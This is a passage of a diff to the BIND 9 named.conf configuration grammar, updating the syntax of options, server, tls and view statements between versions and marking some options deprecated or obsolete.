-masters <string> [ port <integer> ] [ dscp
-    <integer> ] { ( <primaries> | <ipv4_address>
-    [ port <integer> ] | <ipv6_address> [ port
-    <integer> ] ) [ key <string> ] [ tls
-    <string> ]; ... }; // may occur multiple times
+managed-keys { <string> ( static-key | initial-key | static-ds | initial-ds ) <integer> <integer> <integer> <quoted_string>; ... }; // may occur multiple times, deprecated
 
 options {
-        allow-new-zones <boolean>;
-        allow-notify { <address_match_element>; ... };
-        allow-query { <address_match_element>; ... };
-        allow-query-cache { <address_match_element>; ... };
-        allow-query-cache-on { <address_match_element>; ... };
-        allow-query-on { <address_match_element>; ... };
-        allow-recursion { <address_match_element>; ... };
-        allow-recursion-on { <address_match_element>; ... };
-        allow-transfer { <address_match_element>; ... };
-        allow-update { <address_match_element>; ... };
-        allow-update-forwarding { <address_match_element>; ... };
-        also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-            * ) ] [ dscp <integer> ];
-        answer-cookie <boolean>;
-        attach-cache <string>;
-        auth-nxdomain <boolean>;
-        auto-dnssec ( allow | maintain | off );
-        automatic-interface-scan <boolean>;
-        avoid-v4-udp-ports { <portrange>; ... };
-        avoid-v6-udp-ports { <portrange>; ... };
-        bindkeys-file <quoted_string>;
-        blackhole { <address_match_element>; ... };
-        cache-file <quoted_string>;
-        catalog-zones { zone <string> [ default-masters [ port <integer> ]
-            [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port
-            <integer> ] | <ipv6_address> [ port <integer> ] ) [ key
-            <string> ] [ tls <string> ]; ... } ] [ zone-directory
-            <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval
-            <duration> ]; ... };
-        check-dup-records ( fail | warn | ignore );
-        check-integrity <boolean>;
-        check-mx ( fail | warn | ignore );
-        check-mx-cname ( fail | warn | ignore );
-        check-names ( primary | master |
-            secondary | slave | response ) (
-            fail | warn | ignore ); // may occur multiple times
-        check-sibling <boolean>;
-        check-spf ( warn | ignore );
-        check-srv-cname ( fail | warn | ignore );
-        check-wildcard <boolean>;
-        clients-per-query <integer>;
-        cookie-algorithm ( aes | siphash24 );
-        cookie-secret <string>; // may occur multiple times
-        coresize ( default | unlimited | <sizeval> );
-        datasize ( default | unlimited | <sizeval> );
-        deny-answer-addresses { <address_match_element>; ... } [
-            except-from { <string>; ... } ];
-        deny-answer-aliases { <string>; ... } [ except-from { <string>; ...
-            } ];
-        dialup ( notify | notify-passive | passive | refresh | <boolean> );
-        directory <quoted_string>;
-        disable-algorithms <string> { <string>;
-            ... }; // may occur multiple times
-        disable-ds-digests <string> { <string>;
-            ... }; // may occur multiple times
-        disable-empty-zone <string>; // may occur multiple times
-        dns64 <netprefix> {
-                break-dnssec <boolean>;
-                clients { <address_match_element>; ... };
-                exclude { <address_match_element>; ... };
-                mapped { <address_match_element>; ... };
-                recursive-only <boolean>;
-                suffix <ipv6_address>;
-        }; // may occur multiple times
-        dns64-contact <string>;
-        dns64-server <string>;
-        dnskey-sig-validity <integer>;
-        dnsrps-enable <boolean>;
-        dnsrps-options { <unspecified-text> };
-        dnssec-accept-expired <boolean>;
-        dnssec-dnskey-kskonly <boolean>;
-        dnssec-loadkeys-interval <integer>;
-        dnssec-must-be-secure <string> <boolean>; // may occur multiple times
-        dnssec-policy <string>;
-        dnssec-secure-to-insecure <boolean>;
-        dnssec-update-mode ( maintain | no-resign );
-        dnssec-validation ( yes | no | auto );
-        dnstap { ( all | auth | client | forwarder | resolver | update ) [
-            ( query | response ) ]; ... };
-        dnstap-identity ( <quoted_string> | none | hostname );
-        dnstap-output ( file | unix ) <quoted_string> [ size ( unlimited |
-            <size> ) ] [ versions ( unlimited | <integer> ) ] [ suffix (
-            increment | timestamp ) ];
-        dnstap-version ( <quoted_string> | none );
-        dscp <integer>;
-        dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port
-            <integer> ] [ dscp <integer> ] | <ipv4_address> [ port
-            <integer> ] [ dscp <integer> ] | <ipv6_address> [ port
-            <integer> ] [ dscp <integer> ] ); ... };
-        dump-file <quoted_string>;
-        edns-udp-size <integer>;
-        empty-contact <string>;
-        empty-server <string>;
-        empty-zones-enable <boolean>;
-        fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
-        fetches-per-server <integer> [ ( drop | fail ) ];
-        fetches-per-zone <integer> [ ( drop | fail ) ];
-        files ( default | unlimited | <sizeval> );
-        flush-zones-on-shutdown <boolean>;
-        forward ( first | only );
-        forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-            | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-        fstrm-set-buffer-hint <integer>;
-        fstrm-set-flush-timeout <integer>;
-        fstrm-set-input-queue-size <integer>;
-        fstrm-set-output-notify-threshold <integer>;
-        fstrm-set-output-queue-model ( mpsc | spsc );
-        fstrm-set-output-queue-size <integer>;
-        fstrm-set-reopen-interval <duration>;
-        geoip-directory ( <quoted_string> | none );
-        glue-cache <boolean>; // deprecated
-        heartbeat-interval <integer>;
-        hostname ( <quoted_string> | none );
-        http-port <integer>;
-        https-port <integer>;
-        interface-interval <duration>;
-        ipv4only-contact <string>;
-        ipv4only-enable <boolean>;
-        ipv4only-server <string>;
-        ixfr-from-differences ( primary | master | secondary | slave |
-            <boolean> );
-        keep-response-order { <address_match_element>; ... };
-        key-directory <quoted_string>;
-        lame-ttl <duration>;
-        listen-on [ port <integer> ] [ dscp
-            <integer> ] [ tls <string> ] [ http
-            <string> ] {
-            <address_match_element>; ... }; // may occur multiple times
-        listen-on-v6 [ port <integer> ] [ dscp
-            <integer> ] [ tls <string> ] [ http
-            <string> ] {
-            <address_match_element>; ... }; // may occur multiple times
-        lmdb-mapsize <sizeval>;
-        lock-file ( <quoted_string> | none );
-        managed-keys-directory <quoted_string>;
-        masterfile-format ( map | raw | text );
-        masterfile-style ( full | relative );
-        match-mapped-addresses <boolean>;
-        max-cache-size ( default | unlimited | <sizeval> | <percentage> );
-        max-cache-ttl <duration>;
-        max-clients-per-query <integer>;
-        max-ixfr-ratio ( unlimited | <percentage> );
-        max-journal-size ( default | unlimited | <sizeval> );
-        max-ncache-ttl <duration>;
-        max-records <integer>;
-        max-recursion-depth <integer>;
-        max-recursion-queries <integer>;
-        max-refresh-time <integer>;
-        max-retry-time <integer>;
-        max-rsa-exponent-size <integer>;
-        max-stale-ttl <duration>;
-        max-transfer-idle-in <integer>;
-        max-transfer-idle-out <integer>;
-        max-transfer-time-in <integer>;
-        max-transfer-time-out <integer>;
-        max-udp-size <integer>;
-        max-zone-ttl ( unlimited | <duration> );
-        memstatistics <boolean>;
-        memstatistics-file <quoted_string>;
-        message-compression <boolean>;
-        min-cache-ttl <duration>;
-        min-ncache-ttl <duration>;
-        min-refresh-time <integer>;
-        min-retry-time <integer>;
-        minimal-any <boolean>;
-        minimal-responses ( no-auth | no-auth-recursive | <boolean> );
-        multi-master <boolean>;
-        new-zones-directory <quoted_string>;
-        no-case-compress { <address_match_element>; ... };
-        nocookie-udp-size <integer>;
-        notify ( explicit | master-only | primary-only | <boolean> );
-        notify-delay <integer>;
-        notify-rate <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        notify-to-soa <boolean>;
-        nsec3-test-zone <boolean>; // test only
-        nta-lifetime <duration>;
-        nta-recheck <duration>;
-        nxdomain-redirect <string>;
-        pid-file ( <quoted_string> | none );
-        port <integer>;
-        preferred-glue <string>;
-        prefetch <integer> [ <integer> ];
-        provide-ixfr <boolean>;
-        qname-minimization ( strict | relaxed | disabled | off );
-        query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        querylog <boolean>;
-        random-device ( <quoted_string> | none );
-        rate-limit {
-                all-per-second <integer>;
-                errors-per-second <integer>;
-                exempt-clients { <address_match_element>; ... };
-                ipv4-prefix-length <integer>;
-                ipv6-prefix-length <integer>;
-                log-only <boolean>;
-                max-table-size <integer>;
-                min-table-size <integer>;
-                nodata-per-second <integer>;
-                nxdomains-per-second <integer>;
-                qps-scale <integer>;
-                referrals-per-second <integer>;
-                responses-per-second <integer>;
-                slip <integer>;
-                window <integer>;
-        };
-        recursing-file <quoted_string>;
-        recursion <boolean>;
-        recursive-clients <integer>;
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        request-nsid <boolean>;
-        require-server-cookie <boolean>;
-        reserved-sockets <integer>;
-        resolver-nonbackoff-tries <integer>;
-        resolver-query-timeout <integer>;
-        resolver-retry-interval <integer>;
-        response-padding { <address_match_element>; ... } block-size
-            <integer>;
-        response-policy { zone <string> [ add-soa <boolean> ] [ log
-            <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval
-            <duration> ] [ policy ( cname | disabled | drop | given | no-op
-            | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [
-            recursive-only <boolean> ] [ nsip-enable <boolean> ] [
-            nsdname-enable <boolean> ]; ... } [ add-soa <boolean> ] [
-            break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [
-            min-update-interval <duration> ] [ min-ns-dots <integer> ] [
-            nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean>
-            ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ]
-            [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [
-            dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text>
-            } ];
-        root-delegation-only [ exclude { <string>; ... } ];
-        root-key-sentinel <boolean>;
-        rrset-order { [ class <string> ] [ type <string> ] [ name
-            <quoted_string> ] <string> <string>; ... };
-        secroots-file <quoted_string>;
-        send-cookie <boolean>;
-        serial-query-rate <integer>;
-        serial-update-method ( date | increment | unixtime );
-        server-id ( <quoted_string> | none | hostname );
-        servfail-ttl <duration>;
-        session-keyalg <string>;
-        session-keyfile ( <quoted_string> | none );
-        session-keyname <string>;
-        sig-signing-nodes <integer>;
-        sig-signing-signatures <integer>;
-        sig-signing-type <integer>;
-        sig-validity-interval <integer> [ <integer> ];
-        sortlist { <address_match_element>; ... };
-        stacksize ( default | unlimited | <sizeval> );
-        stale-answer-client-timeout ( disabled | off | <integer> );
-        stale-answer-enable <boolean>;
-        stale-answer-ttl <duration>;
-        stale-cache-enable <boolean>;
-        stale-refresh-time <duration>;
-        startup-notify-rate <integer>;
-        statistics-file <quoted_string>;
-        suppress-initial-notify <boolean>; // obsolete
-        synth-from-dnssec <boolean>;
-        tcp-advertised-timeout <integer>;
-        tcp-clients <integer>;
-        tcp-idle-timeout <integer>;
-        tcp-initial-timeout <integer>;
-        tcp-keepalive-timeout <integer>;
-        tcp-listen-queue <integer>;
-        tcp-receive-buffer <integer>;
-        tcp-send-buffer <integer>;
-        tkey-dhkey <quoted_string> <integer>;
-        tkey-domain <quoted_string>;
-        tkey-gssapi-credential <quoted_string>;
-        tkey-gssapi-keytab <quoted_string>;
-        tls-port <integer>;
-        transfer-format ( many-answers | one-answer );
-        transfer-message-size <integer>;
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        transfers-in <integer>;
-        transfers-out <integer>;
-        transfers-per-ns <integer>;
-        trust-anchor-telemetry <boolean>; // experimental
-        try-tcp-refresh <boolean>;
-        udp-receive-buffer <integer>;
-        udp-send-buffer <integer>;
-        update-check-ksk <boolean>;
-        use-alt-transfer-source <boolean>;
-        use-v4-udp-ports { <portrange>; ... };
-        use-v6-udp-ports { <portrange>; ... };
-        v6-bias <integer>;
-        validate-except { <string>; ... };
-        version ( <quoted_string> | none );
-        zero-no-soa-ttl <boolean>;
-        zero-no-soa-ttl-cache <boolean>;
-        zone-statistics ( full | terse | none | <boolean> );
+	allow-new-zones <boolean>;
+	allow-notify { <address_match_element>; ... };
+	allow-query { <address_match_element>; ... };
+	allow-query-cache { <address_match_element>; ... };
+	allow-query-cache-on { <address_match_element>; ... };
+	allow-query-on { <address_match_element>; ... };
+	allow-recursion { <address_match_element>; ... };
+	allow-recursion-on { <address_match_element>; ... };
+	allow-transfer [ port <integer> ] [ transport <string> ] { <address_match_element>; ... };
+	allow-update { <address_match_element>; ... };
+	allow-update-forwarding { <address_match_element>; ... };
+	also-notify [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	answer-cookie <boolean>;
+	attach-cache <string>;
+	auth-nxdomain <boolean>;
+	automatic-interface-scan <boolean>;
+	avoid-v4-udp-ports { <portrange>; ... }; // deprecated
+	avoid-v6-udp-ports { <portrange>; ... }; // deprecated
+	bindkeys-file <quoted_string>; // test only
+	blackhole { <address_match_element>; ... };
+	catalog-zones { zone <string> [ default-primaries [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... } ] [ zone-directory <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval <duration> ]; ... };
+	check-dup-records ( fail | warn | ignore );
+	check-integrity <boolean>;
+	check-mx ( fail | warn | ignore );
+	check-mx-cname ( fail | warn | ignore );
+	check-names ( primary | master | secondary | slave | response ) ( fail | warn | ignore ); // may occur multiple times
+	check-sibling <boolean>;
+	check-spf ( warn | ignore );
+	check-srv-cname ( fail | warn | ignore );
+	check-svcb <boolean>;
+	check-wildcard <boolean>;
+	clients-per-query <integer>;
+	cookie-algorithm ( aes | siphash24 );
+	cookie-secret <string>; // may occur multiple times
+	deny-answer-addresses { <address_match_element>; ... } [ except-from { <string>; ... } ];
+	deny-answer-aliases { <string>; ... } [ except-from { <string>; ... } ];
+	dialup ( notify | notify-passive | passive | refresh | <boolean> ); // deprecated
+	directory <quoted_string>;
+	disable-algorithms <string> { <string>; ... }; // may occur multiple times
+	disable-ds-digests <string> { <string>; ... }; // may occur multiple times
+	disable-empty-zone <string>; // may occur multiple times
+	dns64 <netprefix> {
+		break-dnssec <boolean>;
+		clients { <address_match_element>; ... };
+		exclude { <address_match_element>; ... };
+		mapped { <address_match_element>; ... };
+		recursive-only <boolean>;
+		suffix <ipv6_address>;
+	}; // may occur multiple times
+	dns64-contact <string>;
+	dns64-server <string>;
+	dnskey-sig-validity <integer>; // obsolete
+	dnsrps-enable <boolean>; // not configured
+	dnsrps-library <quoted_string>; // not configured
+	dnsrps-options { <unspecified-text> }; // not configured
+	dnssec-accept-expired <boolean>;
+	dnssec-dnskey-kskonly <boolean>; // obsolete
+	dnssec-loadkeys-interval <integer>;
+	dnssec-must-be-secure <string> <boolean>; // may occur multiple times, deprecated
+	dnssec-policy <string>;
+	dnssec-secure-to-insecure <boolean>; // obsolete
+	dnssec-update-mode ( maintain | no-resign ); // obsolete
+	dnssec-validation ( yes | no | auto );
+	dnstap { ( all | auth | client | forwarder | resolver | update ) [ ( query | response ) ]; ... }; // not configured
+	dnstap-identity ( <quoted_string> | none | hostname ); // not configured
+	dnstap-output ( file | unix ) <quoted_string> [ size ( unlimited | <size> ) ] [ versions ( unlimited | <integer> ) ] [ suffix ( increment | timestamp ) ]; // not configured
+	dnstap-version ( <quoted_string> | none ); // not configured
+	dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port <integer> ] | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ); ... };
+	dump-file <quoted_string>;
+	edns-udp-size <integer>;
+	empty-contact <string>;
+	empty-server <string>;
+	empty-zones-enable <boolean>;
+	fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
+	fetches-per-server <integer> [ ( drop | fail ) ];
+	fetches-per-zone <integer> [ ( drop | fail ) ];
+	flush-zones-on-shutdown <boolean>;
+	forward ( first | only );
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
+	fstrm-set-buffer-hint <integer>; // not configured
+	fstrm-set-flush-timeout <integer>; // not configured
+	fstrm-set-input-queue-size <integer>; // not configured
+	fstrm-set-output-notify-threshold <integer>; // not configured
+	fstrm-set-output-queue-model ( mpsc | spsc ); // not configured
+	fstrm-set-output-queue-size <integer>; // not configured
+	fstrm-set-reopen-interval <duration>; // not configured
+	geoip-directory ( <quoted_string> | none );
+	heartbeat-interval <integer>; // deprecated
+	hostname ( <quoted_string> | none );
+	http-listener-clients <integer>;
+	http-port <integer>;
+	http-streams-per-connection <integer>;
+	https-port <integer>;
+	interface-interval <duration>;
+	ipv4only-contact <string>;
+	ipv4only-enable <boolean>;
+	ipv4only-server <string>;
+	ixfr-from-differences ( primary | master | secondary | slave | <boolean> );
+	keep-response-order { <address_match_element>; ... }; // obsolete
+	key-directory <quoted_string>;
+	lame-ttl <duration>;
+	listen-on [ port <integer> ] [ tls <string> ] [ http <string> ] { <address_match_element>; ... }; // may occur multiple times
+	listen-on-v6 [ port <integer> ] [ tls <string> ] [ http <string> ] { <address_match_element>; ... }; // may occur multiple times
+	lmdb-mapsize <sizeval>;
+	lock-file ( <quoted_string> | none );
+	managed-keys-directory <quoted_string>;
+	masterfile-format ( raw | text );
+	masterfile-style ( full | relative );
+	match-mapped-addresses <boolean>;
+	max-cache-size ( default | unlimited | <sizeval> | <percentage> );
+	max-cache-ttl <duration>;
+	max-clients-per-query <integer>;
+	max-ixfr-ratio ( unlimited | <percentage> );
+	max-journal-size ( default | unlimited | <sizeval> );
+	max-ncache-ttl <duration>;
+	max-records <integer>;
+	max-recursion-depth <integer>;
+	max-recursion-queries <integer>;
+	max-refresh-time <integer>;
+	max-retry-time <integer>;
+	max-rsa-exponent-size <integer>;
+	max-stale-ttl <duration>;
+	max-transfer-idle-in <integer>;
+	max-transfer-idle-out <integer>;
+	max-transfer-time-in <integer>;
+	max-transfer-time-out <integer>;
+	max-udp-size <integer>;
+	max-zone-ttl ( unlimited | <duration> ); // deprecated
+	memstatistics <boolean>;
+	memstatistics-file <quoted_string>;
+	message-compression <boolean>;
+	min-cache-ttl <duration>;
+	min-ncache-ttl <duration>;
+	min-refresh-time <integer>;
+	min-retry-time <integer>;
+	minimal-any <boolean>;
+	minimal-responses ( no-auth | no-auth-recursive | <boolean> );
+	multi-master <boolean>;
+	new-zones-directory <quoted_string>;
+	no-case-compress { <address_match_element>; ... };
+	nocookie-udp-size <integer>;
+	notify ( explicit | master-only | primary-only | <boolean> );
+	notify-delay <integer>;
+	notify-rate <integer>;
+	notify-source ( <ipv4_address> | * );
+	notify-source-v6 ( <ipv6_address> | * );
+	notify-to-soa <boolean>;
+	nsec3-test-zone <boolean>; // test only
+	nta-lifetime <duration>;
+	nta-recheck <duration>;
+	nxdomain-redirect <string>;
+	parental-source ( <ipv4_address> | * );
+	parental-source-v6 ( <ipv6_address> | * );
+	pid-file ( <quoted_string> | none );
+	port <integer>;
+	preferred-glue <string>;
+	prefetch <integer> [ <integer> ];
+	provide-ixfr <boolean>;
+	qname-minimization ( strict | relaxed | disabled | off );
+	query-source [ address ] ( <ipv4_address> | * );
+	query-source-v6 [ address ] ( <ipv6_address> | * );
+	querylog <boolean>;
+	rate-limit {
+		all-per-second <integer>;
+		errors-per-second <integer>;
+		exempt-clients { <address_match_element>; ... };
+		ipv4-prefix-length <integer>;
+		ipv6-prefix-length <integer>;
+		log-only <boolean>;
+		max-table-size <integer>;
+		min-table-size <integer>;
+		nodata-per-second <integer>;
+		nxdomains-per-second <integer>;
+		qps-scale <integer>;
+		referrals-per-second <integer>;
+		responses-per-second <integer>;
+		slip <integer>;
+		window <integer>;
+	};
+	recursing-file <quoted_string>;
+	recursion <boolean>;
+	recursive-clients <integer>;
+	request-expire <boolean>;
+	request-ixfr <boolean>;
+	request-nsid <boolean>;
+	require-server-cookie <boolean>;
+	resolver-nonbackoff-tries <integer>;
+	resolver-query-timeout <integer>;
+	resolver-retry-interval <integer>;
+	response-padding { <address_match_element>; ... } block-size <integer>;
+	response-policy { zone <string> [ add-soa <boolean> ] [ log <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval <duration> ] [ policy ( cname | disabled | drop | given | no-op | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [ recursive-only <boolean> ] [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [ ede <string> ]; ... } [ add-soa <boolean> ] [ break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval <duration> ] [ min-ns-dots <integer> ] [ nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean> ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ] [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [ dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text> } ];
+	reuseport <boolean>;
+	root-key-sentinel <boolean>;
+	rrset-order { [ class <string> ] [ type <string> ] [ name <quoted_string> ] <string> <string>; ... };
+	secroots-file <quoted_string>;
+	send-cookie <boolean>;
+	serial-query-rate <integer>;
+	serial-update-method ( date | increment | unixtime );
+	server-id ( <quoted_string> | none | hostname );
+	servfail-ttl <duration>;
+	session-keyalg <string>;
+	session-keyfile ( <quoted_string> | none );
+	session-keyname <string>;
+	sig-signing-nodes <integer>;
+	sig-signing-signatures <integer>;
+	sig-signing-type <integer>;
+	sig-validity-interval <integer> [ <integer> ]; // obsolete
+	sortlist { <address_match_element>; ... };
+	stale-answer-client-timeout ( disabled | off | <integer> );
+	stale-answer-enable <boolean>;
+	stale-answer-ttl <duration>;
+	stale-cache-enable <boolean>;
+	stale-refresh-time <duration>;
+	startup-notify-rate <integer>;
+	statistics-file <quoted_string>;
+	synth-from-dnssec <boolean>;
+	tcp-advertised-timeout <integer>;
+	tcp-clients <integer>;
+	tcp-idle-timeout <integer>;
+	tcp-initial-timeout <integer>;
+	tcp-keepalive-timeout <integer>;
+	tcp-listen-queue <integer>;
+	tcp-receive-buffer <integer>;
+	tcp-send-buffer <integer>;
+	tkey-domain <quoted_string>;
+	tkey-gssapi-credential <quoted_string>;
+	tkey-gssapi-keytab <quoted_string>;
+	tls-port <integer>;
+	transfer-format ( many-answers | one-answer );
+	transfer-message-size <integer>;
+	transfer-source ( <ipv4_address> | * );
+	transfer-source-v6 ( <ipv6_address> | * );
+	transfers-in <integer>;
+	transfers-out <integer>;
+	transfers-per-ns <integer>;
+	trust-anchor-telemetry <boolean>; // experimental
+	try-tcp-refresh <boolean>;
+	udp-receive-buffer <integer>;
+	udp-send-buffer <integer>;
+	update-check-ksk <boolean>; // obsolete
+	update-quota <integer>;
+	use-v4-udp-ports { <portrange>; ... }; // deprecated
+	use-v6-udp-ports { <portrange>; ... }; // deprecated
+	v6-bias <integer>;
+	validate-except { <string>; ... };
+	version ( <quoted_string> | none );
+	zero-no-soa-ttl <boolean>;
+	zero-no-soa-ttl-cache <boolean>;
+	zone-statistics ( full | terse | none | <boolean> );
 };
 
-plugin ( query ) <string> [ { <unspecified-text>
-    } ]; // may occur multiple times
+parental-agents <string> [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... }; // may occur multiple times
 
-primaries <string> [ port <integer> ] [ dscp
-    <integer> ] { ( <primaries> | <ipv4_address>
-    [ port <integer> ] | <ipv6_address> [ port
-    <integer> ] ) [ key <string> ] [ tls
-    <string> ]; ... }; // may occur multiple times
+plugin ( query ) <string> [ { <unspecified-text> } ]; // may occur multiple times
+
+primaries <string> [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... }; // may occur multiple times
 
 server <netprefix> {
-        bogus <boolean>;
-        edns <boolean>;
-        edns-udp-size <integer>;
-        edns-version <integer>;
-        keys <server_key>;
-        max-udp-size <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        padding <integer>;
-        provide-ixfr <boolean>;
-        query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        request-nsid <boolean>;
-        send-cookie <boolean>;
-        tcp-keepalive <boolean>;
-        tcp-only <boolean>;
-        transfer-format ( many-answers | one-answer );
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        transfers <integer>;
+	bogus <boolean>;
+	edns <boolean>;
+	edns-udp-size <integer>;
+	edns-version <integer>;
+	keys <server_key>;
+	max-udp-size <integer>;
+	notify-source ( <ipv4_address> | * );
+	notify-source-v6 ( <ipv6_address> | * );
+	padding <integer>;
+	provide-ixfr <boolean>;
+	query-source [ address ] ( <ipv4_address> | * );
+	query-source-v6 [ address ] ( <ipv6_address> | * );
+	request-expire <boolean>;
+	request-ixfr <boolean>;
+	request-nsid <boolean>;
+	require-cookie <boolean>;
+	send-cookie <boolean>;
+	tcp-keepalive <boolean>;
+	tcp-only <boolean>;
+	transfer-format ( many-answers | one-answer );
+	transfer-source ( <ipv4_address> | * );
+	transfer-source-v6 ( <ipv6_address> | * );
+	transfers <integer>;
 }; // may occur multiple times
 
 statistics-channels {
-        inet ( <ipv4_address> | <ipv6_address> |
-            * ) [ port ( <integer> | * ) ] [
-            allow { <address_match_element>; ...
-            } ]; // may occur multiple times
+	inet ( <ipv4_address> | <ipv6_address> | * ) [ port ( <integer> | * ) ] [ allow { <address_match_element>; ... } ]; // may occur multiple times
 }; // may occur multiple times
 
 tls <string> {
-        ca-file <quoted_string>;
-        cert-file <quoted_string>;
-        ciphers <string>; // experimental
-        dh-param <quoted_string>; // experimental
-        hostname <quoted_string>;
-        key-file <quoted_string>;
-        protocols <sslprotos>; // experimental
+	ca-file <quoted_string>;
+	cert-file <quoted_string>;
+	ciphers <string>;
+	dhparam-file <quoted_string>;
+	key-file <quoted_string>;
+	prefer-server-ciphers <boolean>;
+	protocols { <string>; ... };
+	remote-hostname <quoted_string>;
+	session-tickets <boolean>;
 }; // may occur multiple times
 
-trust-anchors { <string> ( static-key |
-    initial-key | static-ds | initial-ds )
-    <integer> <integer> <integer>
-    <quoted_string>; ... }; // may occur multiple times
+trust-anchors { <string> ( static-key | initial-key | static-ds | initial-ds ) <integer> <integer> <integer> <quoted_string>; ... }; // may occur multiple times
 
-trusted-keys { <string> <integer>
-    <integer> <integer>
-    <quoted_string>; ... }; // may occur multiple times, deprecated
+trusted-keys { <string> <integer> <integer> <integer> <quoted_string>; ... }; // may occur multiple times, deprecated
 
 view <string> [ <class> ] {
-        allow-new-zones <boolean>;
-        allow-notify { <address_match_element>; ... };
-        allow-query { <address_match_element>; ... };
-        allow-query-cache { <address_match_element>; ... };
-        allow-query-cache-on { <address_match_element>; ... };
-        allow-query-on { <address_match_element>; ... };
-        allow-recursion { <address_match_element>; ... };
-        allow-recursion-on { <address_match_element>; ... };
-        allow-transfer { <address_match_element>; ... };
-        allow-update { <address_match_element>; ... };
-        allow-update-forwarding { <address_match_element>; ... };
-        also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-            * ) ] [ dscp <integer> ];
-        attach-cache <string>;
-        auth-nxdomain <boolean>;
-        auto-dnssec ( allow | maintain | off );
-        cache-file <quoted_string>;
-        catalog-zones { zone <string> [ default-masters [ port <integer> ]
-            [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port
-            <integer> ] | <ipv6_address> [ port <integer> ] ) [ key
-            <string> ] [ tls <string> ]; ... } ] [ zone-directory
-            <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval
-            <duration> ]; ... };
-        check-dup-records ( fail | warn | ignore );
-        check-integrity <boolean>;
-        check-mx ( fail | warn | ignore );
-        check-mx-cname ( fail | warn | ignore );
-        check-names ( primary | master |
-            secondary | slave | response ) (
